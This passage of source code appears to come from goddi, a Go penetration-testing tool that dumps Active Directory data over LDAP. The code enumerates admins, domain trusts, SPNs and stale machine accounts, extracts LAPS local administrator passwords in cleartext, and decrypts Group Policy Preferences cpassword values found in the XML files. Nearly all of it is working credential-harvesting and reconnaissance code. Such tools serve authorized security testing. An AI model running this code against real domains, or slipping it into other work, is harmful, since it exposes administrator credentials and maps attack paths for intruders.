202 | csv = append(csv, attributes)
203 |
204 | sr := ldapSearch(baseDN, filter, attributes, conn)
205 |
206 | fmt.Printf("[i] Users with passwords not set to expire: %d found\n", len(sr.Entries))
207 | for _, entry := range sr.Entries {
208 | data := []string{
209 | entry.GetAttributeValue("sAMAccountName"),
210 | entry.GetAttributeValue("displayName"),
211 | entry.GetAttributeValue("description"),
212 | entry.GetAttributeValue("whenCreated"),
213 | entry.GetAttributeValue("whenChanged")}
214 | csv = append(csv, data)
215 | }
216 | writeCSV("Domain_Users_NoExpirePasswords", csv)
217 | }
218 |
219 | // GetMachineAccountOldPassword machine accounts with password older than 45 days
220 | // Reference: Scott Sutherland (@_nullbind)
221 | func GetMachineAccountOldPassword(conn *ldap.Conn, baseDN string) {
222 |
223 | attributes := []string{
224 | "sAMAccountName",
225 | "dNSHostName",
226 | "operatingSystem",
227 | "operatingSystemServicePack",
228 | "description",
229 | "memberOf",
230 | "adminCount"}
231 | fortyfive := getWinFiletime(45)
232 | filter := "(&(sAMAccountType=805306369)(pwdlastset<=" + fortyfive + "))"
233 | csv := [][]string{}
234 | csv = append(csv, attributes)
235 |
236 | sr := ldapSearch(baseDN, filter, attributes, conn)
237 |
238 | fmt.Printf("[i] Machine Accounts with passwords older than 45 days: %d found\n", len(sr.Entries))
239 | for _, entry := range sr.Entries {
240 | data := []string{
241 | entry.GetAttributeValue("sAMAccountName"),
242 | entry.GetAttributeValue("dNSHostName"),
243 | entry.GetAttributeValue("operatingSystem"),
244 | entry.GetAttributeValue("operatingSystemServicePack"),
245 | entry.GetAttributeValue("description"),
246 | entry.GetAttributeValue("memberOf"),
247 | entry.GetAttributeValue("adminCount")}
248 | csv = append(csv, data)
249 | }
250 | writeCSV("Domain_MachineAccount_Old_Password", csv)
251 | }
252 |
253 | // GetFSMORoles domain FSMO Roles
254 | // Reference: Scott Sutherland (@_nullbind)
255 | func GetFSMORoles(conn *ldap.Conn, baseDN string) {
256 |
257 | attributes := []string{
258 | "distinguishedname",
259 | "fSMORoleOwner"}
260 | filter := "(&(objectClass=*)(fSMORoleOwner=*))"
261 | csv := [][]string{}
262 | csv = append(csv, attributes)
263 |
264 | sr := ldapSearch(baseDN, filter, attributes, conn)
265 |
266 | fmt.Printf("[i] FSMO Roles: %d found\n", len(sr.Entries))
267 | for _, entry := range sr.Entries {
268 | data := []string{
269 | entry.DN,
270 | entry.GetAttributeValue("fSMORoleOwner")}
271 | csv = append(csv, data)
272 | }
273 | writeCSV("Domain_FSMO_Roles", csv)
274 | }
275 |
276 | // GetDomainSite domain sites
277 | // Reference: Scott Sutherland (@_nullbind)
278 | func GetDomainSite(conn *ldap.Conn, baseDN string) {
279 |
280 | attributes := []string{
281 | "name",
282 | "distinguishedname",
283 | "whenCreated",
284 | "whenChanged"}
285 | baseDN = "CN=Sites,CN=Configuration," + baseDN
286 | filter := "(&(objectCategory=site)(name=*))"
287 | csv := [][]string{}
288 | csv = append(csv, attributes)
289 |
290 | sr := ldapSearch(baseDN, filter, attributes, conn)
291 |
292 | fmt.Printf("[i] Domain Sites: %d found\n", len(sr.Entries))
293 | for _, entry := range sr.Entries {
294 | data := []string{
295 | entry.GetAttributeValue("Name"),
296 | entry.DN,
297 | entry.GetAttributeValue("whenCreated"),
298 | entry.GetAttributeValue("whenChanged")}
299 | csv = append(csv, data)
300 | }
301 | writeCSV("Domain_Sites", csv)
302 | }
303 |
304 | // GetDomainSubnet domain subnets
305 | // Reference: Scott Sutherland (@_nullbind)
306 | func GetDomainSubnet(conn *ldap.Conn, baseDN string) {
307 |
308 | attributes := []string{
309 | "site",
310 | "name",
311 | "description",
312 | "whenCreated",
313 | "whenChanged",
314 | "distinguishedname"}
315 | baseDN = "CN=Subnets,CN=Sites,CN=Configuration," + baseDN
316 | filter := "(objectCategory=subnet)"
317 | csv := [][]string{}
318 | csv = append(csv, attributes)
319 |
320 | sr := ldapSearch(baseDN, filter, attributes, conn)
321 |
322 | fmt.Printf("[i] Domain Subnets: %d found\n", len(sr.Entries))
323 | for _, entry := range sr.Entries {
324 | data := []string{
325 | entry.GetAttributeValue("site"),
326 | entry.GetAttributeValue("name"),
327 | entry.GetAttributeValue("description"),
328 | entry.GetAttributeValue("whenCreated"),
329 | entry.GetAttributeValue("whenChanged"),
330 | entry.DN}
331 | csv = append(csv, data)
332 | }
333 | writeCSV("Domain_Subnets", csv)
334 | }
335 |
336 | // GetDomainAccountPolicy domain Account Policy
337 | // Reference: Scott Sutherland (@_nullbind)
338 | func GetDomainAccountPolicy(conn *ldap.Conn, baseDN string) {
339 |
340 | attributes := []string{
341 | "minPwdLength",
342 | "minPwdAge",
343 | "maxPwdAge",
344 | "pwdHistoryLength",
345 | "lockoutThreshold",
346 | "lockoutDuration",
347 | "lockOutObservationWindow",
348 | "pwdProperties",
349 | "whenChanged",
350 | "gPLink"}
351 | filter := "(objectClass=domainDNS)"
352 | csv := [][]string{}
353 | csv = append(csv, attributes)
354 |
355 | sr := ldapSearch(baseDN, filter, attributes, conn)
356 |
357 | fmt.Printf("[i] Domain Account Policy found\n")
358 | for _, entry := range sr.Entries {
359 | data := []string{
360 | entry.GetAttributeValue("minPwdLength"),
361 | convertPwdAge(entry.GetAttributeValue("minPwdAge")),
362 | convertPwdAge(entry.GetAttributeValue("maxPwdAge")),
363 | entry.GetAttributeValue("pwdHistoryLength"),
364 | entry.GetAttributeValue("lockoutThreshold"),
365 | convertLockout(entry.GetAttributeValue("lockoutDuration")),
366 | convertLockout(entry.GetAttributeValue("lockOutObservationWindow")),
367 | entry.GetAttributeValue("pwdProperties"),
368 | entry.GetAttributeValue("whenChanged"),
369 | entry.GetAttributeValue("gPLink")}
370 | csv = append(csv, data)
371 | }
372 | writeCSV("Domain_Account_Policy", csv)
373 | }
374 |
375 | // GetDomainOUs domain OUs
376 | // Reference: Scott Sutherland (@_nullbind)
377 | func GetDomainOUs(conn *ldap.Conn, baseDN string) {
378 |
379 | attributes := []string{
380 | "ou",
381 | "dn",
382 | "ADsPath",
383 | "objectClass",
384 | "whenCreated",
385 | "whenChanged",
386 | "instanceType"}
387 | filter := "(&(objectCategory=organizationalUnit)(ou=*))"
388 | csv := [][]string{}
389 | csv = append(csv, attributes)
390 |
391 | sr := ldapSearch(baseDN, filter, attributes, conn)
392 |
393 | fmt.Printf("[i] Domain OUs: %d found\n", len(sr.Entries))
394 | for _, entry := range sr.Entries {
395 | data := []string{
396 | entry.GetAttributeValue("ou"),
397 | entry.DN,
398 | baseDN,
399 | entry.GetAttributeValue("objectClass"),
400 | entry.GetAttributeValue("whenCreated"),
401 | entry.GetAttributeValue("whenChanged"),
402 | entry.GetAttributeValue("instanceType")}
403 | csv = append(csv, data)
404 | }
405 | writeCSV("Domain_OUs", csv)
406 | }
407 |
408 | // GetDomainGPOs domain GPOs
409 | // Reference: Scott Sutherland (@_nullbind)
410 | func GetDomainGPOs(conn *ldap.Conn, baseDN string) {
411 |
412 | attributes := []string{
413 | "displayName",
414 | "dn",
415 | "gPCFileSysPath",
416 | "gPCUserExtensionNames",
417 | "gPCMachineExtensionNames"}
418 | filter := "(&(objectClass=groupPolicyContainer))"
419 | csv := [][]string{}
420 | csv = append(csv, attributes)
421 |
422 | sr := ldapSearch(baseDN, filter, attributes, conn)
423 |
424 | fmt.Printf("[i] Domain GPOs: %d found\n", len(sr.Entries))
425 | for _, entry := range sr.Entries {
426 | data := []string{
427 | entry.GetAttributeValue("displayName"),
428 | entry.DN,
429 | entry.GetAttributeValue("gPCFileSysPath"),
430 | entry.GetAttributeValue("gPCUserExtensionNames"),
431 | entry.GetAttributeValue("gPCMachineExtensionNames")}
432 | csv = append(csv, data)
433 | }
434 | writeCSV("Domain_GPOs", csv)
435 | }
436 |
437 | // GetGroupMembers all members of given group
438 | // Reference: Scott Sutherland (@_nullbind)
439 | func GetGroupMembers(conn *ldap.Conn, baseDN string, group string) {
440 |
441 | attributes := []string{
442 | "memberOf",
443 | "sAMAccountName",
444 | "displayName"}
445 | csv := [][]string{}
446 | csv = append(csv, attributes)
447 |
448 | groupDN := getGroupDN(conn, baseDN, group)
449 | if len(groupDN) == 0 {
450 | writeCSV("Domain_Users_"+group, csv)
451 | }
452 | filter := "(&(objectCategory=user)(memberOf=" + groupDN + "))"
453 |
454 | sr := ldapSearch(baseDN, filter, attributes, conn)
455 |
456 | fmt.Printf("[i] %s: %d users found\n", group, len(sr.Entries))
457 | for _, entry := range sr.Entries {
458 | data := []string{
459 | group,
460 | entry.GetAttributeValue("sAMAccountName"),
461 | entry.GetAttributeValue("displayName")}
462 | csv = append(csv, data)
463 | }
464 |
465 | writeCSV("Domain_Users_"+group, csv)
466 | }
467 |
468 | // getGroupDN group dn
469 | // Reference: Scott Sutherland (@_nullbind)
470 | func getGroupDN(conn *ldap.Conn, baseDN string, group string) string {
471 |
472 | attributes := []string{
473 | "memberOf",
474 | "sAMAccountName",
475 | "displayName"}
476 | filter := "(&(objectCategory=group)(samaccountname=" + group + "))"
477 |
478 | sr := ldapSearch(baseDN, filter, attributes, conn)
479 |
480 | if len(sr.Entries) != 0 {
481 | groupDN := sr.Entries[0].DN
482 | return groupDN
483 | }
484 | groupDN := ""
485 | return groupDN
486 | }
487 |
488 | // GetDomainComputers all domain computers
489 | // Reference: Scott Sutherland (@_nullbind)
490 | func GetDomainComputers(conn *ldap.Conn, baseDN string) {
491 |
492 | attributes := []string{
493 | "sAMAccountName",
494 | "dNSHostName",
495 | "operatingSystem",
496 | "operatingSystemServicePack",
497 | "description"}
498 | filter := "(&(objectCategory=Computer)(SamAccountName=*))"
499 | csv := [][]string{}
500 | csv = append(csv, attributes)
501 |
502 | sr := ldapSearch(baseDN, filter, attributes, conn)
503 |
504 | fmt.Printf("[i] Domain Computers: %d found\n", len(sr.Entries))
505 | for _, entry := range sr.Entries {
506 | data := []string{
507 | entry.GetAttributeValue("sAMAccountName"),
508 | entry.GetAttributeValue("dNSHostName"),
509 | entry.GetAttributeValue("operatingSystem"),
510 | entry.GetAttributeValue("operatingSystemServicePack"),
511 | entry.GetAttributeValue("description")}
512 | csv = append(csv, data)
513 | }
514 | writeCSV("Domain_Computers_All", csv)
515 | }
516 |
517 | // GetDomainControllers all domain controllers
518 | // Reference: Scott Sutherland (@_nullbind)
519 | func GetDomainControllers(conn *ldap.Conn, baseDN string) {
520 |
521 | attributes := []string{
522 | "sAMAccountName",
523 | "dNSHostName",
524 | "operatingSystem",
525 | "operatingSystemServicePack",
526 | "description"}
527 | filter := "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))"
528 | csv := [][]string{}
529 | csv = append(csv, attributes)
530 |
531 | sr := ldapSearch(baseDN, filter, attributes, conn)
532 |
533 | fmt.Printf("[i] Domain Controllers: %d found\n", len(sr.Entries))
534 | for _, entry := range sr.Entries {
535 | data := []string{
536 | entry.GetAttributeValue("sAMAccountName"),
537 | entry.GetAttributeValue("dNSHostName"),
538 | entry.GetAttributeValue("operatingSystem"),
539 | entry.GetAttributeValue("operatingSystemServicePack"),
540 | entry.GetAttributeValue("description")}
541 | csv = append(csv, data)
542 | }
543 | writeCSV("Domain_Controllers", csv)
544 | }
545 |
546 | // GetSPNs all SPNs and check for DA
547 | // Reference: Scott Sutherland (@_nullbind)
548 | func GetSPNs(conn *ldap.Conn, baseDN string) {
549 |
550 | attributes := []string{
551 | "sAMAccountName",
552 | "servicePrincipalName",
553 | "dNSHostName",
554 | "memberOf"}
555 | filter := "(&(servicePrincipalName=*))"
556 | csv := [][]string{}
557 | csv = append(csv, attributes)
558 | count := 0
559 |
560 | sr := ldapSearch(baseDN, filter, attributes, conn)
561 |
562 | for _, entry := range sr.Entries {
563 | da := ""
564 | if caseInsensitiveContains(entry.GetAttributeValue("memberOf"), "Domain Admins") {
565 | da = "Domain Admins"
566 | }
567 |
568 | spns := entry.GetAttributeValues("servicePrincipalName")
569 | count += len(spns)
570 | for _, spn := range spns {
571 | data := []string{
572 | entry.GetAttributeValue("sAMAccountName"),
573 | spn,
574 | entry.GetAttributeValue("dNSHostName"),
575 | da}
576 | csv = append(csv, data)
577 | }
578 | }
579 | fmt.Printf("[i] SPNs: %d found\n", count)
580 | writeCSV("Domain_SPNs", csv)
581 | }
582 |
583 | // GetLAPS LAPs passwords
584 | // Reference: Scott Sutherland (@_nullbind), Karl Fosaaen (@kfosaaen), @_RastaMouse
585 | // https://blog.netspi.com/running-laps-around-clearcleartext-passwords/
586 | // https://rastamouse.me/2018/03/laps---part-2/
587 | func GetLAPS(conn *ldap.Conn, baseDN string) {
588 |
589 | attributes := []string{
590 | "dNSHostName",
591 | "ms-Mcs-AdmPwd",
592 | "ms-Mcs-AdmPwdExpirationTime"}
593 | filter := "(&(objectCategory=Computer))"
594 | csv := [][]string{}
595 | csv = append(csv, attributes)
596 |
597 | sr := ldapSearch(baseDN, filter, attributes, conn)
598 |
599 | for _, entry := range sr.Entries {
600 | if len(entry.GetAttributeValue("ms-Mcs-AdmPwd")) > 0 {
601 | data := []string{
602 | entry.GetAttributeValue("dNSHostName"),
603 | entry.GetAttributeValue("ms-Mcs-AdmPwd"),
604 | entry.GetAttributeValue("ms-Mcs-AdmPwdExpirationTime")}
605 | csv = append(csv, data)
606 | }
607 | }
608 | fmt.Printf("[i] LAPS passwords: %d found\n", len(csv)-1)
609 | writeCSV("Domain_Passwords_LAPS", csv)
610 | }
611 |
612 | // GetDomainTrusts all domain trusts and details
613 | // Reference: Scott Sutherland (@_nullbind)
614 | func GetDomainTrusts(conn *ldap.Conn, baseDN string) {
615 | attributes := []string{
616 | "sourcedomain",
617 | "trustPartner",
618 | "dn",
619 | "trustType",
620 | "trustDirection",
621 | "trustAttributes",
622 | "whenCreated",
623 | "whenChanged",
624 | "objectClass"}
625 | filter := "(objectClass=trustedDomain)"
626 | csv := [][]string{}
627 | csv = append(csv, attributes)
628 |
629 | sr := ldapSearch(baseDN, filter, attributes, conn)
630 |
631 | fmt.Printf("[i] Domain Trusts: %d found\n", len(sr.Entries))
632 | for _, entry := range sr.Entries {
633 | var ttype, directory, attribute string
634 | switch trust := entry.GetAttributeValue("trustType"); trust {
635 | case "1":
636 | ttype = "Downlevel Trust (Windows NT domain external)"
637 | case "2":
638 | ttype = "Uplevel Trust (Active Directory domain - parent-child, root domain, shortcut, external, or forest)"
639 | case "3":
640 | ttype = "MIT (non-Windows Kerberos version 5 realm)"
641 | case "4":
642 | ttype = "DCE (Theoretical trust type - DCE refers to Open Group's Distributed Computing)"
643 | }
644 | switch dir := entry.GetAttributeValue("trustDirection"); dir {
645 | case "0":
646 | directory = "Disabled"
647 | case "1":
648 | directory = "Inbound"
649 | case "2":
650 | directory = "Outbound"
651 | case "3":
652 | directory = "Bidirectional"
653 | }
654 | switch attrib := entry.GetAttributeValue("trustAttributes"); attrib {
655 | case "1":
656 | attribute = "non_transitive"
657 | case "2":
658 | attribute = "uplevel_only"
659 | case "4":
660 | attribute = "quarantined_domain"
661 | case "8":
662 | attribute = "forest_transitive"
663 | case "10":
664 | attribute = "cross_organization"
665 | case "20":
666 | attribute = "within_forest"
667 | case "40":
668 | attribute = "treat_as_external"
669 | case "80":
670 | attribute = "trust_uses_rc4_encryption"
671 | case "100":
672 | attribute = "trust_uses_aes_keys"
673 | default:
674 | attribute = entry.GetAttributeValue("trustAttributes")
675 | }
676 | data := []string{
677 | baseDN,
678 | entry.GetAttributeValue("trustPartner"),
679 | entry.DN,
680 | ttype,
681 | directory,
682 | attribute,
683 | entry.GetAttributeValue("whenCreated"),
684 | entry.GetAttributeValue("whenChanged"),
685 | entry.GetAttributeValue("objectClass")}
686 | csv = append(csv, data)
687 | }
688 | writeCSV("Domain_Trusts", csv)
689 | }
690 |
691 | // GetGroupsAll all groups
692 | // Reference: Scott Sutherland (@_nullbind)
693 | func GetGroupsAll(conn *ldap.Conn, baseDN string) {
694 |
695 | attributes := []string{
696 | "sAMAccountName",
697 | "dn",
698 | "description",
699 | "adminCount",
700 | "member"}
701 | filter := "(&(objectClass=group)(samaccountname=*))"
702 | csv := [][]string{}
703 | csv = append(csv, attributes)
704 |
705 | sr := ldapSearch(baseDN, filter, attributes, conn)
706 |
707 | fmt.Printf("[i] Groups: %d found\n", len(sr.Entries))
708 | for _, entry := range sr.Entries {
709 | data := []string{
710 | entry.GetAttributeValue("sAMAccountName"),
711 | entry.DN,
712 | entry.GetAttributeValue("description"),
713 | entry.GetAttributeValue("adminCount"),
714 | entry.GetAttributeValue("member")}
715 | csv = append(csv, data)
716 | }
717 |
718 | writeCSV("Domain_Groups_All", csv)
719 | }
720 |
721 | // Helper function for LDAP search
722 | func ldapSearch(searchDN string, filter string, attributes []string, conn *ldap.Conn) *ldap.SearchResult {
723 |
724 | searchRequest := ldap.NewSearchRequest(
725 | searchDN,
726 | ldap.ScopeWholeSubtree, ldap.DerefAlways, 0, 0, false,
727 | filter,
728 | attributes,
729 | nil)
730 |
731 | sr, err := conn.SearchWithPaging(searchRequest, 200)
732 | if err != nil {
733 | log.Println(err)
734 | }
735 |
736 | return sr
737 |
738 | }
739 |
--------------------------------------------------------------------------------
/ddi/xml.go:
--------------------------------------------------------------------------------
1 | // Helper functions for GPP cpasswords
2 |
3 | package goddi
4 |
5 | import (
6 | "encoding/xml"
7 | "io/ioutil"
8 | "os"
9 | )
10 |
11 | // Groups groups.xml
12 | type Groups struct {
13 | XMLName xml.Name `xml:"Groups"`
14 | Users []User `xml:"User"`
15 | }
16 |
17 | // User groups.xml
18 | type User struct {
19 | Properties Properties `xml:"Properties"`
20 | Changed string `xml:"changed,attr"`
21 | }
22 |
23 | // Drives drives.xml
24 | type Drives struct {
25 | XMLName xml.Name `xml:"Drives"`
26 | Drives []Drive `xml:"Drive"`
27 | }
28 |
29 | // Drive drive.xml
30 | type Drive struct {
31 | Properties Properties `xml:"Properties"`
32 | Changed string `xml:"changed,attr"`
33 | }
34 |
35 | // DataSources datasources.xml
36 | type DataSources struct {
37 | XMLName xml.Name `xml:"DataSources"`
38 | DataSources []DataSource `xml:"DataSource"`
39 | }
40 |
41 | // DataSource datasources.xml
42 | type DataSource struct {
43 | Properties Properties `xml:"Properties"`
44 | Changed string `xml:"changed,attr"`
45 | }
46 |
47 | // NTServices services.xml
48 | type NTServices struct {
49 | XMLName xml.Name `xml:"NTServices"`
50 | NTServices []NTService `xml:"NTService"`
51 | }
52 |
53 | // NTService services.xml
54 | type NTService struct {
55 | Properties Properties `xml:"Properties"`
56 | Changed string `xml:"changed,attr"`
57 | }
58 |
59 | // Printers printers.xml
60 | type Printers struct {
61 | XMLName xml.Name `xml:"Printers"`
62 | Printers []SharedPrinter `xml:"SharedPrinter"`
63 | }
64 |
65 | // SharedPrinter printers.xml
66 | type SharedPrinter struct {
67 | Properties Properties `xml:"Properties"`
68 | Changed string `xml:"changed,attr"`
69 | }
70 |
71 | // ScheduledTasks scheduledtasks.xml
72 | type ScheduledTasks struct {
73 | XMLName xml.Name `xml:"ScheduledTasks"`
74 | ScheduledTasks []Task `xml:"Task"`
75 | }
76 |
77 | // Task scheduledtasks.xml
78 | type Task struct {
79 | Properties Properties `xml:"Properties"`
80 | Changed string `xml:"changed,attr"`
81 | }
82 |
83 | // Properties groups.xml, drives.xml, datasources.xml, services.xml, printers.xml, scheduledtasks.xml
84 | type Properties struct {
85 | Runas string `xml:"runAs,attr"`
86 | Accountname string `xml:"accountName,attr"`
87 | Username string `xml:"userName,attr"`
88 | Cpassword string `xml:"cpassword,attr"`
89 | Newname string `xml:"newName,attr"`
90 | }
91 |
92 | // Helper function to parse XML files for cpassword
93 | // Reference: https://msdn.microsoft.com/en-us/library/cc232650.aspx
94 | func parseXML(fullpath string, csvptr *[][]string) {
95 |
96 | xmlFile, err := os.Open(fullpath)
97 | if err != nil {
98 | return
99 | }
100 | defer xmlFile.Close()
101 |
102 | if caseInsensitiveContains(fullpath, "Groups.xml") {
103 | var groups Groups
104 | byteValue, _ := ioutil.ReadAll(xmlFile)
105 | xml.Unmarshal(byteValue, &groups)
106 |
107 | for i := 0; i < len(groups.Users); i++ {
108 | if len(groups.Users[i].Properties.Cpassword) == 0 {
109 | continue
110 | }
111 | temp := []string{
112 | fullpath,
113 | groups.Users[i].Properties.Username,
114 | groups.Users[i].Properties.Cpassword,
115 | decrypt(groups.Users[i].Properties.Cpassword),
116 | groups.Users[i].Changed,
117 | groups.Users[i].Properties.Newname}
118 | *csvptr = append(*csvptr, temp)
119 | }
120 | } else if caseInsensitiveContains(fullpath, "Drives.xml") {
121 | var drives Drives
122 | byteValue, _ := ioutil.ReadAll(xmlFile)
123 | xml.Unmarshal(byteValue, &drives)
124 |
125 | for i := 0; i < len(drives.Drives); i++ {
126 | if len(drives.Drives[i].Properties.Cpassword) == 0 {
127 | continue
128 | }
129 | temp := []string{
130 | fullpath,
131 | drives.Drives[i].Properties.Username,
132 | drives.Drives[i].Properties.Cpassword,
133 | decrypt(drives.Drives[i].Properties.Cpassword),
134 | drives.Drives[i].Changed,
135 | drives.Drives[i].Properties.Newname}
136 | *csvptr = append(*csvptr, temp)
137 | }
138 | } else if caseInsensitiveContains(fullpath, "Datasources.xml") {
139 | var datasources DataSources
140 | byteValue, _ := ioutil.ReadAll(xmlFile)
141 | xml.Unmarshal(byteValue, &datasources)
142 |
143 | for i := 0; i < len(datasources.DataSources); i++ {
144 | if len(datasources.DataSources[i].Properties.Cpassword) == 0 {
145 | continue
146 | }
147 | temp := []string{
148 | fullpath,
149 | datasources.DataSources[i].Properties.Username,
150 | datasources.DataSources[i].Properties.Cpassword,
151 | decrypt(datasources.DataSources[i].Properties.Cpassword),
152 | datasources.DataSources[i].Changed,
153 | datasources.DataSources[i].Properties.Newname}
154 | *csvptr = append(*csvptr, temp)
155 | }
156 | } else if caseInsensitiveContains(fullpath, "Services.xml") {
157 | var ntservices NTServices
158 | byteValue, _ := ioutil.ReadAll(xmlFile)
159 | xml.Unmarshal(byteValue, &ntservices)
160 |
161 | for i := 0; i < len(ntservices.NTServices); i++ {
162 | if len(ntservices.NTServices[i].Properties.Cpassword) == 0 {
163 | continue
164 | }
165 | temp := []string{
166 | fullpath,
167 | ntservices.NTServices[i].Properties.Accountname,
168 | ntservices.NTServices[i].Properties.Cpassword,
169 | decrypt(ntservices.NTServices[i].Properties.Cpassword),
170 | ntservices.NTServices[i].Changed,
171 | ntservices.NTServices[i].Properties.Newname}
172 | *csvptr = append(*csvptr, temp)
173 | }
174 | } else if caseInsensitiveContains(fullpath, "Printers.xml") {
175 | var printers Printers
176 | byteValue, _ := ioutil.ReadAll(xmlFile)
177 | xml.Unmarshal(byteValue, &printers)
178 |
179 | for i := 0; i < len(printers.Printers); i++ {
180 | if len(printers.Printers[i].Properties.Cpassword) == 0 {
181 | continue
182 | }
183 | temp := []string{
184 | fullpath,
185 | printers.Printers[i].Properties.Accountname,
186 | printers.Printers[i].Properties.Cpassword,
187 | decrypt(printers.Printers[i].Properties.Cpassword),
188 | printers.Printers[i].Changed,
189 | printers.Printers[i].Properties.Newname}
190 | *csvptr = append(*csvptr, temp)
191 | }
192 | } else if caseInsensitiveContains(fullpath, "Scheduledtasks.xml") {
193 | var scheduledtasks ScheduledTasks
194 | byteValue, _ := ioutil.ReadAll(xmlFile)
195 | xml.Unmarshal(byteValue, &scheduledtasks)
196 |
197 | for i := 0; i < len(scheduledtasks.ScheduledTasks); i++ {
198 | if len(scheduledtasks.ScheduledTasks[i].Properties.Cpassword) == 0 {
199 | continue
200 | }
201 | temp := []string{
202 | fullpath,
203 | scheduledtasks.ScheduledTasks[i].Properties.Runas,
204 | scheduledtasks.ScheduledTasks[i].Properties.Cpassword,
205 | decrypt(scheduledtasks.ScheduledTasks[i].Properties.Cpassword),
206 | scheduledtasks.ScheduledTasks[i].Changed,
207 | scheduledtasks.ScheduledTasks[i].Properties.Newname}
208 | *csvptr = append(*csvptr, temp)
209 | }
210 | }
211 | }
212 |
--------------------------------------------------------------------------------
/main.go:
--------------------------------------------------------------------------------
1 | /*
2 | Go dump domain info.
3 | Author: Thomas Elling (@thomas_elling), NetSPI 2018
4 | References: Based on work from Scott Sutherland (@_nullbind), Antti Rantasaari, Eric Gruber (@egru),
5 | @harmj0y, and the PowerView authors https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon.
6 |
7 | Requirements: gopkg.in/ldap.v2
8 |
9 | Usage: goddi-windows-amd64.exe -username=testuser -password="testpass!" -domain="test.local" -dc="dc.test.local"
10 | */
11 | package main
12 |
13 | import (
14 | "flag"
15 | "fmt"
16 | "log"
17 | "strings"
18 | "time"
19 |
20 | "github.com/NetSPI/goddi/ddi"
21 | )
22 |
23 | func main() {
24 |
25 | ldapServer := flag.String("dc", "", "DC to connect to, use IP or full hostname ex. -dc=\"dc.test.local\"")
26 | domain := flag.String("domain", "", "domain ex. -domain=\"test.local\"")
27 | user := flag.String("username", "", "username to connect with ex. -username=\"testuser\"")
28 | pass := flag.String("password", "", "password to connect with ex. -password=\"testpass!\"")
29 | startTLS := flag.Bool("startTLS", false, "Use for StartTLS on 389. Default is TLS on 636")
30 | unsafe := flag.Bool("unsafe", false, "Use for testing and plaintext connection")
31 | flag.Parse()
32 |
33 | if len(*ldapServer) == 0 || len(*domain) == 0 || len(*user) == 0 || len(*pass) == 0 {
34 | flag.PrintDefaults()
35 | log.Fatal("[ERROR] Provide username, password, DC, and domain!\n")
36 | }
37 |
38 | var ldapIP string
39 | *ldapServer, ldapIP = goddi.ValidateIPHostname(*ldapServer, *domain)
40 |
41 | baseDN := "dc=" + strings.Replace(*domain, ".", ",dc=", -1)
42 | username := *user + "@" + *domain
43 |
44 | li := &goddi.LdapInfo{
45 | LdapServer: *ldapServer,
46 | LdapIP: ldapIP,
47 | LdapPort: uint16(389),
48 | LdapTLSPort: uint16(636),
49 | User: username,
50 | Usergpp: *user,
51 | Pass: *pass,
52 | Domain: *domain,
53 | Unsafe: *unsafe,
54 | StartTLS: *startTLS}
55 |
56 | goddi.Connect(li)
57 | defer li.Conn.Close()
58 |
59 | start := time.Now()
60 | goddi.GetDomainTrusts(li.Conn, baseDN)
61 | goddi.GetDomainControllers(li.Conn, baseDN)
62 | goddi.GetUsers(li.Conn, baseDN)
63 | goddi.GetGroupMembers(li.Conn, baseDN, "Domain Admins")
64 | goddi.GetGroupMembers(li.Conn, baseDN, "Enterprise Admins")
65 | goddi.GetGroupMembers(li.Conn, baseDN, "Forest Admins")
66 | goddi.GetUsersLocked(li.Conn, baseDN)
67 | goddi.GetUsersDisabled(li.Conn, baseDN)
68 | goddi.GetGroupsAll(li.Conn, baseDN)
69 | goddi.GetDomainSite(li.Conn, baseDN)
70 | goddi.GetDomainSubnet(li.Conn, baseDN)
71 | goddi.GetDomainComputers(li.Conn, baseDN)
72 | goddi.GetUsersDeligation(li.Conn, baseDN)
73 | goddi.GetUsersNoExpire(li.Conn, baseDN)
74 | goddi.GetMachineAccountOldPassword(li.Conn, baseDN)
75 | goddi.GetDomainOUs(li.Conn, baseDN)
76 | goddi.GetDomainAccountPolicy(li.Conn, baseDN)
77 | goddi.GetDomainGPOs(li.Conn, baseDN)
78 | goddi.GetFSMORoles(li.Conn, baseDN)
79 | goddi.GetSPNs(li.Conn, baseDN)
80 | goddi.GetLAPS(li.Conn, baseDN)
81 | goddi.GetGPP(li.Conn, li.Domain, li.LdapServer, li.Usergpp, li.Pass)
82 | stop := time.Since(start)
83 |
84 | cwd := goddi.GetCWD()
85 | fmt.Printf("[i] CSVs written to 'csv' directory in %s\n[i] Execution took %s...\n[i] Exiting...\n", cwd, stop)
86 | }
87 |
--------------------------------------------------------------------------------